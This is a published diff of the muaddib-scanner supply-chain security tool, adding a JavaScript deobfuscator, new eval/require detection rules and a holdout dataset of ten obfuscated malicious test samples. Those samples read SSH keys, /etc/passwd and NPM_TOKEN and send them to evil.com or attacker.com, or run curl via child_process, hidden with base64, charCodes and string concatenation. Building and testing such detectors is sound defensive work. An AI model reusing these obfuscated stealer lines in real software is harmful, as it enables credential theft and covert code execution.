muaddib-scanner 2.2.3 → 2.2.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (30) hide show
  1. package/README.fr.md +1 -35
  2. package/README.md +1 -35
  3. package/bin/muaddib.js +6 -10
  4. package/datasets/holdout-v4/atob-eval/index.js +2 -0
  5. package/datasets/holdout-v4/atob-eval/package.json +5 -0
  6. package/datasets/holdout-v4/base64-require/index.js +3 -0
  7. package/datasets/holdout-v4/base64-require/package.json +5 -0
  8. package/datasets/holdout-v4/charcode-fetch/index.js +3 -0
  9. package/datasets/holdout-v4/charcode-fetch/package.json +5 -0
  10. package/datasets/holdout-v4/charcode-spread-homedir/index.js +5 -0
  11. package/datasets/holdout-v4/charcode-spread-homedir/package.json +5 -0
  12. package/datasets/holdout-v4/concat-env-steal/index.js +4 -0
  13. package/datasets/holdout-v4/concat-env-steal/package.json +5 -0
  14. package/datasets/holdout-v4/double-decode-exfil/index.js +4 -0
  15. package/datasets/holdout-v4/double-decode-exfil/package.json +5 -0
  16. package/datasets/holdout-v4/hex-array-exec/index.js +3 -0
  17. package/datasets/holdout-v4/hex-array-exec/package.json +5 -0
  18. package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +10 -0
  19. package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +5 -0
  20. package/datasets/holdout-v4/nested-base64-concat/index.js +4 -0
  21. package/datasets/holdout-v4/nested-base64-concat/package.json +5 -0
  22. package/datasets/holdout-v4/template-literal-hide/index.js +3 -0
  23. package/datasets/holdout-v4/template-literal-hide/package.json +5 -0
  24. package/package.json +1 -1
  25. package/src/index.js +6 -2
  26. package/src/response/playbooks.js +5 -0
  27. package/src/rules/index.js +13 -0
  28. package/src/scanner/ast.js +107 -24
  29. package/src/scanner/dataflow.js +18 -1
  30. package/src/scanner/deobfuscate.js +557 -0
package/README.fr.md CHANGED
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
327
327
 
328
328
  Affiche la décomposition explicable du score : contribution de chaque finding au score final, avec les poids par règle et multiplicateurs de sévérité.
329
329
 
330
- ### API Threat Feed
331
-
332
- ```bash
333
- muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
334
- muaddib serve [--port N]
335
- ```
336
-
337
- Exporte les détections sous forme de flux JSON pour intégration SIEM.
338
-
339
- - `muaddib feed` — Affiche le flux de menaces JSON sur stdout (filtrable par limit, sévérité, date)
340
- - `muaddib serve` — Démarre un serveur HTTP (port 3000 par défaut) avec `GET /feed` et `GET /health`
341
-
342
- ```bash
343
- muaddib serve --port 8080
344
- # GET http://localhost:8080/feed?limit=50&severity=HIGH
345
- # GET http://localhost:8080/health
346
- ```
347
-
348
- ### Logging des temps de détection
349
-
350
- ```bash
351
- muaddib detections [--stats] [--json]
352
- ```
353
-
354
- Historique des détections avec timestamps de première observation et métriques de lead time (délai entre la détection MUAD'DIB et l'advisory publique).
355
-
356
- ### Suivi du taux de faux positifs
357
-
358
- ```bash
359
- muaddib stats [--daily] [--json]
360
- ```
361
-
362
- Statistiques de scan : total scanné, clean, suspect, taux de faux positifs, nombre confirmé malveillant. Utilisez `--daily` pour le détail par jour.
363
-
364
330
  ### Replay ground truth
365
331
 
366
332
  ```bash
@@ -739,7 +705,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
739
705
  - **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs (4 vagues red team + holdout promu)
740
706
  - **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avant correction des regles (mesure de generalisation)
741
707
 
742
- Lancez `muaddib evaluate` pour reproduire ces metriques localement. Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
708
+ Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
743
709
 
744
710
  ---
745
711
 
package/README.md CHANGED
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
327
327
 
328
328
  Shows explainable score breakdown: how each finding contributes to the final risk score, with per-rule weights and severity multipliers.
329
329
 
330
- ### Threat Feed API
331
-
332
- ```bash
333
- muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
334
- muaddib serve [--port N]
335
- ```
336
-
337
- Export detections as a JSON threat feed for SIEM integration.
338
-
339
- - `muaddib feed` — Output threat feed JSON to stdout (filterable by limit, severity, date)
340
- - `muaddib serve` — Start an HTTP server (default port 3000) with `GET /feed` and `GET /health` endpoints
341
-
342
- ```bash
343
- muaddib serve --port 8080
344
- # GET http://localhost:8080/feed?limit=50&severity=HIGH
345
- # GET http://localhost:8080/health
346
- ```
347
-
348
- ### Detection time logging
349
-
350
- ```bash
351
- muaddib detections [--stats] [--json]
352
- ```
353
-
354
- View detection history with first-seen timestamps and lead time metrics (time between MUAD'DIB detection and public advisory).
355
-
356
- ### FP rate tracking
357
-
358
- ```bash
359
- muaddib stats [--daily] [--json]
360
- ```
361
-
362
- View scan statistics: total scanned, clean, suspect, false positive rate, confirmed malicious count. Use `--daily` for per-day breakdown.
363
-
364
330
  ### Ground truth replay
365
331
 
366
332
  ```bash
@@ -742,7 +708,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
742
708
  - **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves + promoted holdout
743
709
  - **Holdout** (pre-tuning): detection rate on 10 unseen samples before any rule correction (measures generalization)
744
710
 
745
- Run `muaddib evaluate` to reproduce these metrics locally. See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
711
+ See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
746
712
 
747
713
  ---
748
714
 
package/bin/muaddib.js CHANGED
@@ -31,6 +31,7 @@ let temporalPublishMode = false;
31
31
  let temporalMaintainerMode = false;
32
32
  let temporalFullMode = false;
33
33
  let breakdownMode = false;
34
+ let noDeobfuscate = false;
34
35
  let feedLimit = null;
35
36
  let feedSeverity = null;
36
37
  let feedSince = null;
@@ -110,6 +111,8 @@ for (let i = 0; i < options.length; i++) {
110
111
  temporalMaintainerMode = true;
111
112
  } else if (options[i] === '--breakdown') {
112
113
  breakdownMode = true;
114
+ } else if (options[i] === '--no-deobfuscate') {
115
+ noDeobfuscate = true;
113
116
  } else if (options[i] === '--temporal') {
114
117
  temporalMode = true;
115
118
  } else if (options[i] === '--limit') {
@@ -363,15 +366,6 @@ const helpText = `
363
366
  muaddib scrape Scrape new IOCs
364
367
  muaddib sandbox <pkg> [--strict] [--no-canary] Analyze in isolated Docker container
365
368
  muaddib sandbox-report <pkg> Sandbox + detailed network report
366
- muaddib feed [options] Threat feed (JSON)
367
- muaddib serve [options] Start threat feed HTTP server
368
- muaddib detections List recent detections
369
- muaddib detections --stats Show aggregated detection stats
370
- muaddib detections --json Raw JSON output
371
- muaddib stats Show scan stats + FP rate
372
- muaddib stats --daily Last 7 days daily breakdown
373
- muaddib stats --json Raw JSON dump
374
- muaddib evaluate Evaluate scanner effectiveness (TPR, FPR, ADR)
375
369
  muaddib version Show version
376
370
 
377
371
  Replay Options:
@@ -404,6 +398,7 @@ const helpText = `
404
398
  --temporal-maintainer Detect maintainer changes (new maintainer, account takeover)
405
399
  --temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
406
400
  --no-canary Disable honey token injection in sandbox
401
+ --no-deobfuscate Disable deobfuscation pre-processing
407
402
  --exclude [dir] Exclude directory from scan (repeatable)
408
403
  --limit [n] Limit feed entries (default: 50)
409
404
  --severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
@@ -444,7 +439,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
444
439
  temporalMaintainer: temporalMaintainerMode || temporalFullMode,
445
440
  exclude: excludeDirs,
446
441
  entropyThreshold: entropyThreshold,
447
- breakdown: breakdownMode
442
+ breakdown: breakdownMode,
443
+ noDeobfuscate: noDeobfuscate
448
444
  }).then(exitCode => {
449
445
  process.exit(exitCode);
450
446
  }).catch(err => {
@@ -0,0 +1,2 @@
1
+ // Holdout v4 — atob-eval: classic atob + eval payload
2
+ eval(atob('Y29uc29sZS5sb2coInB3bmVkIik='));
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "atob-eval",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — base64-require: module name hidden in base64
2
+ const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
3
+ mod.exec('whoami');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "base64-require",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — charcode-fetch: URL rebuilt from charCodes
2
+ const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108, 46, 99, 111, 109);
3
+ fetch(url, { method: 'POST', body: process.env.NPM_TOKEN });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "charcode-fetch",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,5 @@
1
+ // Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
2
+ const h = String.fromCharCode(...[111, 115]);
3
+ const m = require(h).homedir();
4
+ const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
5
+ require('https').request('https://evil.com').write(f);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "charcode-spread-homedir",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — concat-env-steal: env var name rebuilt by concat
2
+ const key = 'NPM' + '_' + 'TOK' + 'EN';
3
+ const val = process.env[key];
4
+ require('https').request({ hostname: 'evil.com', path: '/steal', method: 'POST' }, () => {}).write(val);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "concat-env-steal",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — double-decode-exfil: double base64 encoding
2
+ const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
3
+ const proc = require(modName);
4
+ proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "double-decode-exfil",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — hex-array-exec: shell command hidden in hex array
2
+ const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
3
+ require('child_process').exec(cmd);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "hex-array-exec",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,10 @@
1
+ // Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
2
+ // Module name via charCode
3
+ const modName = String.fromCharCode(102, 115);
4
+ // Path via base64
5
+ const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
6
+ // URL via concat
7
+ const host = 'https://' + 'att' + 'acker' + '.com';
8
+
9
+ const data = require(modName).readFileSync(credPath, 'utf8');
10
+ require('https').request(host, { method: 'POST' }, () => {}).write(data);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "mixed-obfuscation-stealer",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — nested-base64-concat: split base64 + concat
2
+ const a = Buffer.from('Y2hpbGRf', 'base64').toString();
3
+ const b = Buffer.from('cHJvY2Vzcw==', 'base64').toString();
4
+ require(a + b).exec('id');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "nested-base64-concat",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — template-literal-hide: module name via template literals
2
+ const mod = `${'child'}${'_process'}`;
3
+ require(mod).exec('curl evil.com');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "template-literal-hide",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.3",
3
+ "version": "2.2.5",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
package/src/index.js CHANGED
@@ -19,6 +19,7 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
19
19
  const { ensureIOCs } = require('./ioc/bootstrap.js');
20
20
  const { scanEntropy } = require('./scanner/entropy.js');
21
21
  const { scanAIConfig } = require('./scanner/ai-config.js');
22
+ const { deobfuscate } = require('./scanner/deobfuscate.js');
22
23
  const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
23
24
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
24
25
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
@@ -222,6 +223,9 @@ async function run(targetPath, options = {}) {
222
223
  spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
223
224
  }
224
225
 
226
+ // Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
227
+ const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
228
+
225
229
  // Parallel execution of all independent scanners
226
230
  const [
227
231
  packageThreats,
@@ -240,11 +244,11 @@ async function run(targetPath, options = {}) {
240
244
  ] = await Promise.all([
241
245
  scanPackageJson(targetPath),
242
246
  scanShellScripts(targetPath),
243
- analyzeAST(targetPath),
247
+ analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
244
248
  Promise.resolve(detectObfuscation(targetPath)),
245
249
  scanDependencies(targetPath),
246
250
  scanHashes(targetPath),
247
- analyzeDataFlow(targetPath),
251
+ analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
248
252
  scanTyposquatting(targetPath),
249
253
  Promise.resolve(scanGitHubActions(targetPath)),
250
254
  Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),
@@ -318,6 +318,11 @@ const PLAYBOOKS = {
318
318
  'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
319
319
  'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
320
320
  'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
321
+
322
+ staged_eval_decode:
323
+ 'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
324
+ 'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
325
+ 'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
321
326
  };
322
327
 
323
328
  function getPlaybook(threatType) {
@@ -585,6 +585,19 @@ const RULES = {
585
585
  mitre: 'T1027.003'
586
586
  },
587
587
 
588
+ staged_eval_decode: {
589
+ id: 'MUADDIB-AST-021',
590
+ name: 'Staged Eval Decode',
591
+ severity: 'CRITICAL',
592
+ confidence: 'high',
593
+ description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
594
+ references: [
595
+ 'https://attack.mitre.org/techniques/T1140/',
596
+ 'https://attack.mitre.org/techniques/T1059/007/'
597
+ ],
598
+ mitre: 'T1140'
599
+ },
600
+
588
601
  env_charcode_reconstruction: {
589
602
  id: 'MUADDIB-AST-018',
590
603
  name: 'Environment Variable Key Reconstruction',
@@ -92,22 +92,22 @@ const SANDBOX_INDICATORS = [
92
92
  '/proc/self/cgroup'
93
93
  ];
94
94
 
95
- async function analyzeAST(targetPath) {
95
+ async function analyzeAST(targetPath, options = {}) {
96
96
  const threats = [];
97
97
  const files = findJsFiles(targetPath);
98
98
 
99
99
  for (const file of files) {
100
100
  const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
101
-
101
+
102
102
  if (EXCLUDED_FILES.includes(relativePath)) {
103
103
  continue;
104
104
  }
105
-
105
+
106
106
  // Ignore files in dev folders
107
107
  if (isDevFile(relativePath)) {
108
108
  continue;
109
109
  }
110
-
110
+
111
111
  try {
112
112
  const stat = fs.statSync(file);
113
113
  if (stat.size > MAX_FILE_SIZE) continue;
@@ -119,8 +119,26 @@ async function analyzeAST(targetPath) {
119
119
  } catch {
120
120
  continue;
121
121
  }
122
+
123
+ // Analyze original code first (preserves obfuscation-detection rules)
122
124
  const fileThreats = analyzeFile(content, file, targetPath);
123
125
  threats.push(...fileThreats);
126
+
127
+ // Also analyze deobfuscated code for additional findings hidden by obfuscation
128
+ if (typeof options.deobfuscate === 'function') {
129
+ try {
130
+ const result = options.deobfuscate(content);
131
+ if (result.transforms.length > 0) {
132
+ const deobThreats = analyzeFile(result.code, file, targetPath);
133
+ const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
134
+ for (const dt of deobThreats) {
135
+ if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
136
+ threats.push(dt);
137
+ }
138
+ }
139
+ }
140
+ } catch { /* deobfuscation failed — skip */ }
141
+ }
124
142
  }
125
143
 
126
144
  return threats;
@@ -137,6 +155,34 @@ function hasOnlyStringLiteralArgs(node) {
137
155
  return node.arguments.every(arg => arg.type === 'Literal' && typeof arg.value === 'string');
138
156
  }
139
157
 
158
+ /**
159
+ * Returns true if a node is a decode call: atob(str) or Buffer.from(str,'base64').toString()
160
+ * Used to detect staged eval/Function decode patterns.
161
+ */
162
+ function hasDecodeArg(node) {
163
+ if (!node || typeof node !== 'object') return false;
164
+ // atob('...')
165
+ if (node.type === 'CallExpression' &&
166
+ node.callee?.type === 'Identifier' && node.callee.name === 'atob') {
167
+ return true;
168
+ }
169
+ // Buffer.from('...', 'base64').toString()
170
+ if (node.type === 'CallExpression' &&
171
+ node.callee?.type === 'MemberExpression' &&
172
+ node.callee.property?.name === 'toString') {
173
+ const inner = node.callee.object;
174
+ if (inner?.type === 'CallExpression' &&
175
+ inner.callee?.type === 'MemberExpression' &&
176
+ inner.callee.object?.name === 'Buffer' &&
177
+ inner.callee.property?.name === 'from' &&
178
+ inner.arguments?.length >= 2 &&
179
+ inner.arguments[1]?.value === 'base64') {
180
+ return true;
181
+ }
182
+ }
183
+ return false;
184
+ }
185
+
140
186
  /**
141
187
  * Checks if an AST subtree contains decode patterns (base64, atob, fromCharCode).
142
188
  */
@@ -391,6 +437,23 @@ function analyzeFile(content, filePath, basePath) {
391
437
  }
392
438
  }
393
439
 
440
+ // Detect chained: require(non-literal).exec(...) — direct dynamic require + exec
441
+ if ((execName || memberExec) && node.callee.type === 'MemberExpression' &&
442
+ node.callee.object?.type === 'CallExpression') {
443
+ const innerCall = node.callee.object;
444
+ const innerName = getCallName(innerCall);
445
+ if (innerName === 'require' && innerCall.arguments.length > 0 &&
446
+ innerCall.arguments[0]?.type !== 'Literal') {
447
+ const method = execName || memberExec;
448
+ threats.push({
449
+ type: 'dynamic_require_exec',
450
+ severity: 'CRITICAL',
451
+ message: `${method}() chained on dynamic require() — obfuscated module + command execution.`,
452
+ file: path.relative(basePath, filePath)
453
+ });
454
+ }
455
+ }
456
+
394
457
  // Detect sandbox/container evasion: fs.accessSync('/.dockerenv'), fs.existsSync('/.dockerenv'), etc.
395
458
  if (node.callee.type === 'MemberExpression' && node.callee.property?.type === 'Identifier') {
396
459
  const fsMethod = node.callee.property.name;
@@ -608,27 +671,47 @@ function analyzeFile(content, filePath, basePath) {
608
671
 
609
672
  if (callName === 'eval') {
610
673
  hasEvalInFile = true;
611
- const isConstant = hasOnlyStringLiteralArgs(node);
612
- threats.push({
613
- type: 'dangerous_call_eval',
614
- severity: isConstant ? 'LOW' : 'HIGH',
615
- message: isConstant
616
- ? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
617
- : 'Dangerous call "eval" with dynamic expression detected.',
618
- file: path.relative(basePath, filePath)
619
- });
674
+ // Detect staged eval decode: eval(atob(...)) or eval(Buffer.from(...).toString())
675
+ if (node.arguments.length === 1 && hasDecodeArg(node.arguments[0])) {
676
+ threats.push({
677
+ type: 'staged_eval_decode',
678
+ severity: 'CRITICAL',
679
+ message: 'eval() with decode argument (atob/Buffer.from base64) staged payload execution.',
680
+ file: path.relative(basePath, filePath)
681
+ });
682
+ } else {
683
+ const isConstant = hasOnlyStringLiteralArgs(node);
684
+ threats.push({
685
+ type: 'dangerous_call_eval',
686
+ severity: isConstant ? 'LOW' : 'HIGH',
687
+ message: isConstant
688
+ ? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
689
+ : 'Dangerous call "eval" with dynamic expression detected.',
690
+ file: path.relative(basePath, filePath)
691
+ });
692
+ }
620
693
  } else if (callName === 'Function') {
621
- const isConstant = hasOnlyStringLiteralArgs(node);
622
- // Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
623
- // Common in template engines (lodash, handlebars) and globalThis polyfills.
624
- threats.push({
625
- type: 'dangerous_call_function',
626
- severity: isConstant ? 'LOW' : 'MEDIUM',
627
- message: isConstant
628
- ? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
629
- : 'Function() with dynamic expression (template/factory pattern).',
630
- file: path.relative(basePath, filePath)
631
- });
694
+ // Detect staged Function decode: new Function(atob(...))
695
+ if (node.arguments.length >= 1 && hasDecodeArg(node.arguments[node.arguments.length - 1])) {
696
+ threats.push({
697
+ type: 'staged_eval_decode',
698
+ severity: 'CRITICAL',
699
+ message: 'Function() with decode argument (atob/Buffer.from base64) — staged payload execution.',
700
+ file: path.relative(basePath, filePath)
701
+ });
702
+ } else {
703
+ const isConstant = hasOnlyStringLiteralArgs(node);
704
+ // Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
705
+ // Common in template engines (lodash, handlebars) and globalThis polyfills.
706
+ threats.push({
707
+ type: 'dangerous_call_function',
708
+ severity: isConstant ? 'LOW' : 'MEDIUM',
709
+ message: isConstant
710
+ ? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
711
+ : 'Function() with dynamic expression (template/factory pattern).',
712
+ file: path.relative(basePath, filePath)
713
+ });
714
+ }
632
715
  }
633
716
  },
634
717
 
@@ -6,7 +6,7 @@ const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
6
6
 
7
7
  const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
8
8
 
9
- async function analyzeDataFlow(targetPath) {
9
+ async function analyzeDataFlow(targetPath, options = {}) {
10
10
  const threats = [];
11
11
  const files = findJsFiles(targetPath);
12
12
 
@@ -35,8 +35,25 @@ async function analyzeDataFlow(targetPath) {
35
35
  continue;
36
36
  }
37
37
 
38
+ // Analyze original code first (preserves obfuscation-detection rules)
38
39
  const fileThreats = analyzeFile(content, file, targetPath);
39
40
  threats.push(...fileThreats);
41
+
42
+ // Also analyze deobfuscated code for additional findings hidden by obfuscation
43
+ if (typeof options.deobfuscate === 'function') {
44
+ try {
45
+ const result = options.deobfuscate(content);
46
+ if (result.transforms.length > 0) {
47
+ const deobThreats = analyzeFile(result.code, file, targetPath);
48
+ const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
49
+ for (const dt of deobThreats) {
50
+ if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
51
+ threats.push(dt);
52
+ }
53
+ }
54
+ }
55
+ } catch { /* deobfuscation failed — skip */ }
56
+ }
40
57
  }
41
58
 
42
59
  return threats;
@@ -0,0 +1,557 @@
1
+ 'use strict';
2
+
3
+ const acorn = require('acorn');
4
+ const walk = require('acorn-walk');
5
+
6
+ /**
7
+ * Lightweight static deobfuscation pre-processor.
8
+ * Resolves common JS obfuscation patterns via AST rewriting (no eval).
9
+ *
10
+ * @param {string} sourceCode — raw JS source
11
+ * @returns {{ code: string, transforms: Array<{type: string, start: number, end: number, before: string, after: string}> }}
12
+ */
13
+ function deobfuscate(sourceCode) {
14
+ const transforms = [];
15
+
16
+ // Parse AST — if parsing fails, return source unchanged (fail-safe)
17
+ let ast;
18
+ try {
19
+ ast = acorn.parse(sourceCode, {
20
+ ecmaVersion: 2024,
21
+ sourceType: 'module',
22
+ allowHashBang: true,
23
+ ranges: true
24
+ });
25
+ } catch {
26
+ return { code: sourceCode, transforms };
27
+ }
28
+
29
+ // Collect replacements as { start, end, value, type, before }
30
+ const replacements = [];
31
+
32
+ walk.simple(ast, {
33
+ // ---- 1. STRING CONCAT FOLDING ----
34
+ // 'ch' + 'il' + 'd_' + 'process' → 'child_process'
35
+ BinaryExpression(node) {
36
+ if (node.operator !== '+') return;
37
+ const folded = tryFoldConcat(node);
38
+ if (folded === null) return;
39
+ // Avoid folding single literals (no transformation needed)
40
+ if (node.left.type === 'Literal' && node.right.type === 'Literal' &&
41
+ typeof node.left.value === 'string' && typeof node.right.value === 'string') {
42
+ // Simple two-literal concat — always fold
43
+ } else if (node.type === 'BinaryExpression') {
44
+ // Nested concat — only fold if top-level (not already inside a folded parent)
45
+ // We check this by not folding if parent already covers this range
46
+ }
47
+ const before = sourceCode.slice(node.start, node.end);
48
+ const after = quoteString(folded);
49
+ replacements.push({
50
+ start: node.start,
51
+ end: node.end,
52
+ value: after,
53
+ type: 'string_concat',
54
+ before
55
+ });
56
+ },
57
+
58
+ // ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
59
+ CallExpression(node) {
60
+ // String.fromCharCode(99, 104, 105, 108, 100) → "child"
61
+ if (isStringFromCharCode(node)) {
62
+ const nums = extractNumericArgs(node);
63
+ if (nums === null) return;
64
+ try {
65
+ const decoded = String.fromCharCode(...nums);
66
+ const before = sourceCode.slice(node.start, node.end);
67
+ const after = quoteString(decoded);
68
+ replacements.push({
69
+ start: node.start,
70
+ end: node.end,
71
+ value: after,
72
+ type: 'charcode',
73
+ before
74
+ });
75
+ } catch { /* invalid char codes — skip */ }
76
+ return;
77
+ }
78
+
79
+ // Buffer.from('...', 'base64').toString() → decoded string
80
+ if (isBufferBase64ToString(node)) {
81
+ const b64str = extractBufferBase64Arg(node);
82
+ if (b64str === null) return;
83
+ try {
84
+ const decoded = Buffer.from(b64str, 'base64').toString();
85
+ // Sanity: only replace if decoded is printable ASCII/UTF-8
86
+ if (!isPrintable(decoded)) return;
87
+ const before = sourceCode.slice(node.start, node.end);
88
+ const after = quoteString(decoded);
89
+ replacements.push({
90
+ start: node.start,
91
+ end: node.end,
92
+ value: after,
93
+ type: 'base64',
94
+ before
95
+ });
96
+ } catch { /* decode failure — skip */ }
97
+ return;
98
+ }
99
+
100
+ // atob('...') → decoded string
101
+ if (isAtobCall(node)) {
102
+ const b64str = node.arguments[0]?.value;
103
+ if (typeof b64str !== 'string') return;
104
+ try {
105
+ const decoded = Buffer.from(b64str, 'base64').toString();
106
+ if (!isPrintable(decoded)) return;
107
+ const before = sourceCode.slice(node.start, node.end);
108
+ const after = quoteString(decoded);
109
+ replacements.push({
110
+ start: node.start,
111
+ end: node.end,
112
+ value: after,
113
+ type: 'base64',
114
+ before
115
+ });
116
+ } catch { /* skip */ }
117
+ return;
118
+ }
119
+
120
+ // ---- 4. HEX ARRAY MAP ----
121
+ // [0x63, 0x68, ...].map(c => String.fromCharCode(c)).join('')
122
+ const hexResult = tryResolveHexArrayMap(node, sourceCode);
123
+ if (hexResult !== null) {
124
+ replacements.push(hexResult);
125
+ }
126
+ }
127
+ });
128
+
129
+ // De-duplicate: nested BinaryExpression nodes produce overlapping replacements.
130
+ // Keep only the outermost (widest) replacement for each overlapping range.
131
+ replacements.sort((a, b) => a.start - b.start || b.end - a.end);
132
+ const filtered = [];
133
+ let lastEnd = -1;
134
+ for (const r of replacements) {
135
+ if (r.start < lastEnd) continue; // nested inside a wider replacement — skip
136
+ filtered.push(r);
137
+ lastEnd = r.end;
138
+ }
139
+
140
+ // Apply replacements from end to start to preserve positions
141
+ filtered.sort((a, b) => b.start - a.start);
142
+
143
+ let code = sourceCode;
144
+ for (const r of filtered) {
145
+ code = code.slice(0, r.start) + r.value + code.slice(r.end);
146
+ transforms.push({
147
+ type: r.type,
148
+ start: r.start,
149
+ end: r.end,
150
+ before: r.before,
151
+ after: r.value
152
+ });
153
+ }
154
+
155
+ // Reverse transforms so they're in source order (start ascending)
156
+ transforms.reverse();
157
+
158
+ // ---- PHASE 2: CONST PROPAGATION ----
159
+ // If phase 1 produced transforms, re-parse and propagate const string assignments.
160
+ // const a = 'child_'; const b = 'process'; require(a + b) → require('child_' + 'process') → require('child_process')
161
+ if (transforms.length > 0) {
162
+ const phase2 = propagateConsts(code);
163
+ if (phase2.transforms.length > 0) {
164
+ code = phase2.code;
165
+ transforms.push(...phase2.transforms);
166
+ }
167
+ }
168
+
169
+ return { code, transforms };
170
+ }
171
+
172
+ /**
173
+ * Phase 2: Propagate const string literal assignments into identifier references,
174
+ * then fold any resulting string concatenations.
175
+ */
176
+ function propagateConsts(sourceCode) {
177
+ const transforms = [];
178
+ let ast;
179
+ try {
180
+ ast = acorn.parse(sourceCode, {
181
+ ecmaVersion: 2024,
182
+ sourceType: 'module',
183
+ allowHashBang: true,
184
+ ranges: true
185
+ });
186
+ } catch {
187
+ return { code: sourceCode, transforms };
188
+ }
189
+
190
+ // Collect const declarations: name → { value, initStart, initEnd }
191
+ const constMap = new Map();
192
+ // Track which names are assigned more than once (not safe to propagate)
193
+ const reassigned = new Set();
194
+
195
+ walk.simple(ast, {
196
+ VariableDeclaration(node) {
197
+ if (node.kind !== 'const') return;
198
